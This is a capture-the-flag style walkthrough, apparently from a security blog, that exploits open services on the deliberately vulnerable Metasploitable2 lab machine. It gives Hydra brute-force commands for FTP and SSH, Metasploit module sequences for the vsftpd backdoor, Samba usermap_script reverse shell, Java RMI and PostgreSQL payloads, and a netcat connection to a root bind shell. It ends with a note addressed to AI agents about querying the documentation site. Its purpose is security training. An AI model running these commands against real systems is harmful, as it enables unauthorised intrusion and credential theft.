# Metasploitable2

Today I will be exploiting open ports on Metasploitable2. There are a total of 30 vulnerabilities on this machine, but I’m not exploiting all of them in depth.

> **What is Metasploitable**? It’s an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. Total of 30 exploits on this machine!

## Tools: <a href="#id-50dc" id="id-50dc"></a>

* Kali Linux
* VMware or VirtualBox
* Vulnhub Download: [Metasploitable 2](https://sourceforge.net/projects/metasploitable/)

Let’s Begin!

## **21 | FTP** <a href="#id-3592" id="id-3592"></a>

> FTP means “File Transfer Protocol” and refers to a group of rules that govern how computers transfer files from one system to another over the internet.

<figure><img src="https://miro.medium.com/v2/resize:fit:443/1*JAh6Hg7Uazezn7hGczhu7g.png" alt="" height="20" width="354"><figcaption></figcaption></figure>

There are 3 ways I could exploit port 21

**1**. Login with Anonymous as a username and no password.

<figure><img src="https://miro.medium.com/v2/resize:fit:628/1*oJaK3cPSgGYQfcAWz-HigA.png" alt="" height="253" width="502"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:710/1*lo_t7LOn4UDIJ-fkRO281w.png" alt="" height="195" width="568"><figcaption></figcaption></figure>

**2**. Brute-force using Hydra but with a custom list of usernames and passwords.

```
hydra -L /usr/share/usernames.lst -P /usr/share/userpass.lst 192.168.200.129 ftp -v
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*29JOLHF3mqlHw2W98AAprg.png" alt="" height="139" width="700"><figcaption></figcaption></figure>

Once you found the credentials you can directly log in

After login into a user account, You can get root access by doing Privilege escalation.

**3**. Metasploit

```
Search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.200.129
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*rEZHE0D9Q7dwxiBpGYnKwA.png" alt="" height="124" width="700"><figcaption></figcaption></figure>

## **22 | SSH** <a href="#bd1d" id="bd1d"></a>

> SSH, also known as Secure Shell or Secure Socket Shell, is a network protocol that gives users, particularly system administrators, a secure way to access a computer over an unsecured network.

<figure><img src="https://miro.medium.com/v2/resize:fit:536/1*2iGxkmIO0W86JgK05sDbEA.png" alt="" height="18" width="429"><figcaption></figcaption></figure>

The two ways I exploited SSH

1. hydra Brute force

```
hydra -L /usr/share/usernames.lst -P /usr/share/userpass.lst 192.168.200.129 ssh
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*ogDhdvQRXysFSRQlRfYXUA.png" alt="" height="176" width="700"><figcaption></figcaption></figure>

2\. Msfconsole

```
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS <target IP Address>
set USER_FILE <Username file Path>
set PASS_FILE <Password file Path>
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*AIbKzasqII_vLvJd-CdYpg.png" alt="" height="165" width="700"><figcaption></figcaption></figure>

### **23 | TELNET** <a href="#a23a" id="a23a"></a>

> Enables a user to manage an account or device remotely. For example, a user may telnet into a computer that hosts their website to manage his or her files remotely.

<figure><img src="https://miro.medium.com/v2/resize:fit:460/1*k2mxO1X6-Ou4mYobW413yw.png" alt="" height="20" width="368"><figcaption></figcaption></figure>

```
telnet 192.168.200.129
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*_jPJXudWPokq54f6GXBlOw.png" alt="" height="380" width="700"><figcaption></figcaption></figure>

## 25 | SMTP <a href="#d3fa" id="d3fa"></a>

> SMTP stands for Simple Mail Transfer Protocol, and it’s an application used by mail servers to send, receive, and/or relay outgoing mail between email senders and receivers.

<figure><img src="https://miro.medium.com/v2/resize:fit:456/1*jPBKOZydAO7YuPai4dq0BQ.png" alt="" height="16" width="365"><figcaption></figcaption></figure>

Port 25 has two vulnerabilities that make it exploitable

1. Telnet

```
nc 192.168.200.129 25
```

<figure><img src="https://miro.medium.com/v2/resize:fit:750/1*rCuUw4jm46FPjFzhXQ4EQg.png" alt="" height="104" width="600"><figcaption></figcaption></figure>

[For SMTP Commands](http://www.tcpipguide.com/free/t_SMTPCommands-2.htm)

2\. Msfconsole

```
msfconsole
search smtp_version
use auxiliary/scanning/smtp/smtp_version
set RHOST 192.168.200.129
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*OrgKyk_jy4UUEF6Z6b758A.png" alt="" height="76" width="700"><figcaption></figcaption></figure>

## 139 445 | NetBIOS-ssn SAMBA <a href="#id-97c6" id="id-97c6"></a>

> NetBIOS is a protocol to connect two computers to transmit heavy data traffic. It is mostly used for printer and file services over a network.
>
> *Samba is an open-source project that is widely used on Linux and Unix computers so they can work with Windows file and print services.*

<figure><img src="https://miro.medium.com/v2/resize:fit:609/1*9F1HQbBpj899M42l27j7zQ.png" alt="" height="70" width="487"><figcaption></figcaption></figure>

```
msfconsole
search samba 
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.200.129
Set LHOST 192.168.200.128
Set LPORT 4444
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*bi3m473JiJRJgKzsqGMyeg.png" alt="" height="92" width="700"><figcaption></figcaption></figure>

## 1099 | JAVA-rmi <a href="#id-6652" id="id-6652"></a>

> Remote Method Invocation (RMI) is an API that allows an object to invoke a method on an object that exists in another address space, which could be on the same machine or a remote machine.

<figure><img src="https://miro.medium.com/v2/resize:fit:596/1*4-m-2rW_bf--bgx33hRWZg.png" alt="" height="19" width="477"><figcaption></figcaption></figure>

Exploiting Java-rmi with Metasploit

```
msfconsole
search java_rmi
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.200.129
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*O5tAck-Y3ytnEXJcTRUALQ.png" alt="" height="171" width="700"><figcaption></figcaption></figure>

## 1524 | Bindshell <a href="#id-8380" id="id-8380"></a>

> Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.

<figure><img src="https://miro.medium.com/v2/resize:fit:593/1*h3gZRtZk4vmAvecWH3Rt3g.png" alt="" height="21" width="474"><figcaption></figcaption></figure>

It is a root shell so we can connect through netcat service.

```
nc 192.168.200.128 1524
```

<figure><img src="https://miro.medium.com/v2/resize:fit:761/1*bQzl36JQkpID73iNqZjJ6w.png" alt="" height="83" width="609"><figcaption></figcaption></figure>

## 2121 | ProFTPD <a href="#id-285d" id="id-285d"></a>

> ProFTPD is a ftp server written for use on Unix and Unix-a-like operating systems

<figure><img src="https://miro.medium.com/v2/resize:fit:470/1*PZk7tlAmU1h0ivBRxeyWpw.png" alt="" height="18" width="376"><figcaption></figcaption></figure>

This requires a login so let's use msfadmin that we found on the webpage.

```
telnet 192.168.200.129
```

<figure><img src="https://miro.medium.com/v2/resize:fit:814/1*Mv1ALaaFJqbspip6PBZ9XQ.png" alt="" height="232" width="651"><figcaption></figcaption></figure>

## 3306 | MYSQL <a href="#id-00cb" id="id-00cb"></a>

> MySQL is a database management system.
>
> To add, access, and process data stored in a computer database, you need a database management system such as MySQL Server.

<figure><img src="https://miro.medium.com/v2/1*3neCgehZx7kNbtHlkdIEGw.png" alt="" width="700"><figcaption></figcaption></figure>

Exploiting MySQL with Metasploit

```
search mysql_login
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.200.129
options
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*4LEGtUDu8mymwjSYXoNsTQ.png" alt="" height="131" width="700"><figcaption></figcaption></figure>

Found user ‘root’. Time to login to MySQL

```
mysql -u root -h 192.168.200.129
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*rE8jwxxrXVKK0GPgK4EQgg.png" alt="" height="403" width="700"><figcaption></figcaption></figure>

## 5432| PostgreSQL <a href="#id-0a0b" id="id-0a0b"></a>

> PostgreSQL is used as the primary data store or data warehouse for many web, mobile, geospatial, and analytics applications.

<figure><img src="https://miro.medium.com/v2/resize:fit:623/1*CWmscesDgcrQsZlkIWbc6w.png" alt="" height="16" width="498"><figcaption></figcaption></figure>

Exploiting PostgreSQL with Msfconsole

```
search postgres_payload
use exploit/linux/postgres/postgres_payload
show options
set rhosts 192.168.200.129
set lhosts 192.168.200.128
exploit
```

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*M167QmeMwQgbqJ0wJSIYGw.png" alt="" height="223" width="700"><figcaption></figcaption></figure>

After login into Postgres, You can get root access through Privilege escalation.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://foothold.gitbook.io/blog/vulnhub/metasploitable2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
